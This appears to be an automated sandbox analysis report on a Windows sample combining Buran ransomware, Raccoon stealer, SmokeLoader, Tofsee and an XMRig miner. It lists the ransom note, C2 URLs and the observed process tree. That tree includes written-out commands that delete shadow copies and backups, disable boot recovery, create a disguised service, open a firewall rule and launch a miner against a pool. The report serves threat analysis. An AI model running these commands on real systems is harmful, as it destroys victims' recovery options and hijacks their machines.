Overview

overview

10

Static

static

bdf56d1d21...24.exe

windows7_x64

10

bdf56d1d21...24.exe

windows10_x64

10

Resubmissions

29/08/2021, 09:08

210829-kbvd4yh12j10

29/08/2021, 09:00

210829-d9htsa2ade10

Analysis

  • max time kernel
    139s
  • max time network
    165s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    29/08/2021, 09:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bdf56d1d215d546e5add6dd065232224.exe
  • Size 143KB
  • Sample210829-d9htsa2ade
  • SHA256 2bb5cb490caca6d8a0dc1bab96ce898765f1f88948a86cd777508319025e8950
  • MD5 SHA1 SHA512
Score
10/10
buranraccoonsmokeloadertofseexmrig20d9c80657d1d0fda9625cbd629ba419b8a34404d02c5d65069fc7ce1993e7c52edf0c9c4c195c81backdoordiscoveryevasionminerpersistenceransomwarespywarestealerthemidatrojan

Malware Config

Extracted

Path

  • C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

  • buran

Ransom Note
  • !!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. PAY FAST 500$=0.013 btc or the price will increase tomorrow bitcoin address bc1qqxnp9z0ff8x852dyflp5r9r6rzse8jl5hzmqz8 To be sure we have the decryptor and it works you can send an email: [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? [email protected] TELEGRAM @ payfast290 Your personal ID: 12C-221-B4A Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://readinglistforaugust1.xyz/

  • http://readinglistforaugust2.xyz/

  • http://readinglistforaugust3.xyz/

  • http://readinglistforaugust4.xyz/

  • http://readinglistforaugust5.xyz/

  • http://readinglistforaugust6.xyz/

  • http://readinglistforaugust7.xyz/

  • http://readinglistforaugust8.xyz/

  • http://readinglistforaugust9.xyz/

  • http://readinglistforaugust10.xyz/

  • http://readinglistforaugust1.site/

  • http://readinglistforaugust2.site/

  • http://readinglistforaugust3.site/

  • http://readinglistforaugust4.site/

  • http://readinglistforaugust5.site/

  • http://readinglistforaugust6.site/

  • http://readinglistforaugust7.site/

  • http://readinglistforaugust8.site/

  • http://readinglistforaugust9.site/

  • http://readinglistforaugust10.site/

rc4.i32
rc4.i32

Extracted

Family

  • raccoon

Botnet

  • 20d9c80657d1d0fda9625cbd629ba419b8a34404

Attributes
  • url4cnc

    https://telete.in/hfuimoneymake

rc4.plain
rc4.plain

Extracted

Family

  • raccoon

Botnet

  • d02c5d65069fc7ce1993e7c52edf0c9c4c195c81

Attributes
  • url4cnc

    https://telete.in/open3entershift

rc4.plain
rc4.plain

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 8 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 3 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 14 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bdf56d1d215d546e5add6dd065232224.exe
    "C:\Users\Admin\AppData\Local\Temp\bdf56d1d215d546e5add6dd065232224.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Users\Admin\AppData\Local\Temp\bdf56d1d215d546e5add6dd065232224.exe
      "C:\Users\Admin\AppData\Local\Temp\bdf56d1d215d546e5add6dd065232224.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2708
  • C:\Users\Admin\AppData\Local\Temp\4259.exe
    C:\Users\Admin\AppData\Local\Temp\4259.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2940
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mzppofaz\
      2⤵
        PID:3180
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vtdbbraq.exe" C:\Windows\SysWOW64\mzppofaz\
        2⤵
          PID:632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mzppofaz binPath= "C:\Windows\SysWOW64\mzppofaz\vtdbbraq.exe /d\"C:\Users\Admin\AppData\Local\Temp\4259.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:808
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mzppofaz "wifi internet conection"
            2⤵
              PID:500
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mzppofaz
              2⤵
                PID:904
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2204
              • C:\Users\Admin\AppData\Local\Temp\4CBA.exe
                C:\Users\Admin\AppData\Local\Temp\4CBA.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:3812
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 740
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:808
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 744
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1264
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 752
                  2⤵
                  • Program crash
                  PID:1820
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 900
                  2⤵
                  • Adds Run key to start application
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:2224
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1180
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2076
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1192
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4204
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1248
                  2⤵
                  • Program crash
                  PID:4388
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1176
                  2⤵
                  • Program crash
                  PID:4428
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1160
                  2⤵
                  • Program crash
                  PID:4552
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1284
                  2⤵
                  • Program crash
                  PID:4608
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1244
                  2⤵
                  • Program crash
                  PID:4636
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1140
                  2⤵
                  • Program crash
                  PID:4660
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1280
                  2⤵
                  • Program crash
                  PID:4696
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 1236
                  2⤵
                  • Suspicious use of NtCreateProcessExOtherParentProcess
                  • Program crash
                  PID:4716
              • C:\Users\Admin\AppData\Local\Temp\547C.exe
                C:\Users\Admin\AppData\Local\Temp\547C.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:3684
              • C:\Users\Admin\AppData\Local\Temp\5671.exe
                C:\Users\Admin\AppData\Local\Temp\5671.exe
                1⤵
                • Executes dropped EXE
                PID:2224
                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
                  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe" -start
                  2⤵
                  • Executes dropped EXE
                  • Enumerates connected drives
                  PID:688
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
                    3⤵
                      PID:792
                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                        wmic shadowcopy delete
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4216
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
                      3⤵
                        PID:2692
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                        3⤵
                          PID:3240
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                          3⤵
                            PID:500
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                            3⤵
                              PID:1000
                              • C:\Windows\SysWOW64\vssadmin.exe
                                vssadmin delete shadows /all /quiet
                                4⤵
                                • Interacts with shadow copies
                                PID:4168
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
                              3⤵
                                PID:3756
                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                  wmic shadowcopy delete
                                  4⤵
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4240
                                • C:\Windows\SysWOW64\vssadmin.exe
                                  vssadmin delete shadows /all /quiet
                                  4⤵
                                  • Interacts with shadow copies
                                  PID:4572
                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
                                "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe" -agent 0
                                3⤵
                                • Executes dropped EXE
                                • Drops file in Program Files directory
                                PID:768
                            • C:\Windows\SysWOW64\notepad.exe
                              notepad.exe
                              2⤵
                                PID:1116
                            • C:\Users\Admin\AppData\Local\Temp\5A4A.exe
                              C:\Users\Admin\AppData\Local\Temp\5A4A.exe
                              1⤵
                              • Executes dropped EXE
                              PID:3560
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:3084
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe
                                1⤵
                                  PID:3896
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:3980
                                  • C:\Windows\explorer.exe
                                    C:\Windows\explorer.exe
                                    1⤵
                                      PID:3832
                                    • C:\Windows\SysWOW64\explorer.exe
                                      C:\Windows\SysWOW64\explorer.exe
                                      1⤵
                                        PID:2188
                                      • C:\Windows\SysWOW64\mzppofaz\vtdbbraq.exe
                                        C:\Windows\SysWOW64\mzppofaz\vtdbbraq.exe /d"C:\Users\Admin\AppData\Local\Temp\4259.exe"
                                        1⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        PID:356
                                        • C:\Windows\SysWOW64\svchost.exe
                                          svchost.exe
                                          2⤵
                                          • Drops file in System32 directory
                                          • Suspicious use of SetThreadContext
                                          • Modifies data under HKEY_USERS
                                          PID:2352
                                          • C:\Windows\SysWOW64\svchost.exe
                                            svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                            3⤵
                                              PID:4860
                                        • C:\Windows\explorer.exe
                                          C:\Windows\explorer.exe
                                          1⤵
                                            PID:3180
                                          • C:\Windows\SysWOW64\explorer.exe
                                            C:\Windows\SysWOW64\explorer.exe
                                            1⤵
                                              PID:2584
                                            • C:\Windows\explorer.exe
                                              C:\Windows\explorer.exe
                                              1⤵
                                                PID:2052
                                              • C:\Windows\SysWOW64\explorer.exe
                                                C:\Windows\SysWOW64\explorer.exe
                                                1⤵
                                                  PID:852
                                                • C:\Windows\system32\vssvc.exe
                                                  C:\Windows\system32\vssvc.exe
                                                  1⤵
                                                    PID:4292
                                                  • C:\Windows\system32\vssvc.exe
                                                    C:\Windows\system32\vssvc.exe
                                                    1⤵
                                                      PID:4500

                                                    Network

                                                          MITRE ATT&CK Enterprise v6

                                                          Replay Monitor

                                                          Loading Replay Monitor...

                                                          Downloads

                                                          memory/356-206-0x0000000001D80000-0x0000000001ECA000-memory.dmp
                                                          Download

                                                          memory/356-207-0x0000000000400000-0x0000000001D73000-memory.dmp
                                                          Download

                                                          memory/632-116-0x0000000001D80000-0x0000000001ECA000-memory.dmp
                                                          Download

                                                          memory/852-191-0x0000000002B90000-0x0000000002B95000-memory.dmp
                                                          Download

                                                          memory/852-192-0x0000000002B80000-0x0000000002B89000-memory.dmp
                                                          Download

                                                          memory/1116-217-0x0000000002AA0000-0x0000000002AA1000-memory.dmp
                                                          Download

                                                          memory/2052-189-0x00000000005C0000-0x00000000005C9000-memory.dmp
                                                          Download

                                                          memory/2052-188-0x00000000005D0000-0x00000000005D5000-memory.dmp
                                                          Download

                                                          memory/2188-172-0x0000000002A50000-0x0000000002A59000-memory.dmp
                                                          Download

                                                          memory/2188-171-0x0000000002A60000-0x0000000002A65000-memory.dmp
                                                          Download

                                                          memory/2352-202-0x0000000002590000-0x00000000025A5000-memory.dmp
                                                          Download

                                                          memory/2428-117-0x0000000000490000-0x00000000004A6000-memory.dmp
                                                          Download

                                                          memory/2584-184-0x0000000002980000-0x0000000002989000-memory.dmp
                                                          Download

                                                          memory/2584-183-0x0000000002990000-0x0000000002994000-memory.dmp
                                                          Download

                                                          memory/2708-114-0x0000000000400000-0x0000000000409000-memory.dmp
                                                          Download

                                                          memory/2940-146-0x0000000000400000-0x0000000001D73000-memory.dmp
                                                          Download

                                                          memory/2940-141-0x0000000001D80000-0x0000000001E2E000-memory.dmp
                                                          Download

                                                          memory/3084-145-0x0000000002D80000-0x0000000002DEB000-memory.dmp
                                                          Download

                                                          memory/3084-143-0x0000000003000000-0x0000000003074000-memory.dmp
                                                          Download

                                                          memory/3180-181-0x00000000010F0000-0x00000000010F6000-memory.dmp
                                                          Download

                                                          memory/3180-182-0x00000000010E0000-0x00000000010EC000-memory.dmp
                                                          Download

                                                          memory/3560-200-0x0000000000400000-0x0000000001DB7000-memory.dmp
                                                          Download

                                                          memory/3560-199-0x0000000003A40000-0x0000000003ACF000-memory.dmp
                                                          Download

                                                          memory/3684-138-0x0000000005D90000-0x0000000005D91000-memory.dmp
                                                          Download

                                                          memory/3684-140-0x00000000058B0000-0x00000000058B1000-memory.dmp
                                                          Download

                                                          memory/3684-131-0x00000000779F0000-0x0000000077B7E000-memory.dmp
                                                          Download

                                                          memory/3684-135-0x0000000000A20000-0x0000000000A21000-memory.dmp
                                                          Download

                                                          memory/3684-193-0x0000000007060000-0x0000000007061000-memory.dmp
                                                          Download

                                                          memory/3684-194-0x0000000007760000-0x0000000007761000-memory.dmp
                                                          Download

                                                          memory/3684-195-0x0000000006FA0000-0x0000000006FA1000-memory.dmp
                                                          Download

                                                          memory/3684-196-0x0000000008190000-0x0000000008191000-memory.dmp
                                                          Download

                                                          memory/3684-197-0x00000000073F0000-0x00000000073F1000-memory.dmp
                                                          Download

                                                          memory/3684-198-0x0000000007560000-0x0000000007561000-memory.dmp
                                                          Download

                                                          memory/3684-139-0x0000000005780000-0x0000000005781000-memory.dmp
                                                          Download

                                                          memory/3684-208-0x0000000007D90000-0x0000000007D91000-memory.dmp
                                                          Download

                                                          memory/3684-201-0x0000000007500000-0x0000000007501000-memory.dmp
                                                          Download

                                                          memory/3684-147-0x0000000005820000-0x0000000005821000-memory.dmp
                                                          Download

                                                          memory/3684-142-0x0000000005770000-0x0000000005771000-memory.dmp
                                                          Download

                                                          memory/3684-144-0x00000000057E0000-0x00000000057E1000-memory.dmp
                                                          Download

                                                          memory/3812-185-0x0000000003A60000-0x0000000003AEF000-memory.dmp
                                                          Download

                                                          memory/3812-186-0x0000000000400000-0x0000000001DB7000-memory.dmp
                                                          Download

                                                          memory/3832-161-0x0000000000130000-0x0000000000139000-memory.dmp
                                                          Download

                                                          memory/3832-162-0x0000000000120000-0x000000000012F000-memory.dmp
                                                          Download

                                                          memory/3896-150-0x00000000012F0000-0x00000000012F7000-memory.dmp
                                                          Download

                                                          memory/3896-151-0x00000000012E0000-0x00000000012EC000-memory.dmp
                                                          Download

                                                          memory/3980-156-0x0000000000270000-0x000000000027B000-memory.dmp
                                                          Download

                                                          memory/3980-155-0x0000000000280000-0x0000000000287000-memory.dmp
                                                          Download

                                                          memory/4860-224-0x0000000002E90000-0x0000000002F81000-memory.dmp
                                                          Download

                                                          memory/4860-229-0x0000000002E90000-0x0000000002F81000-memory.dmp
                                                          Download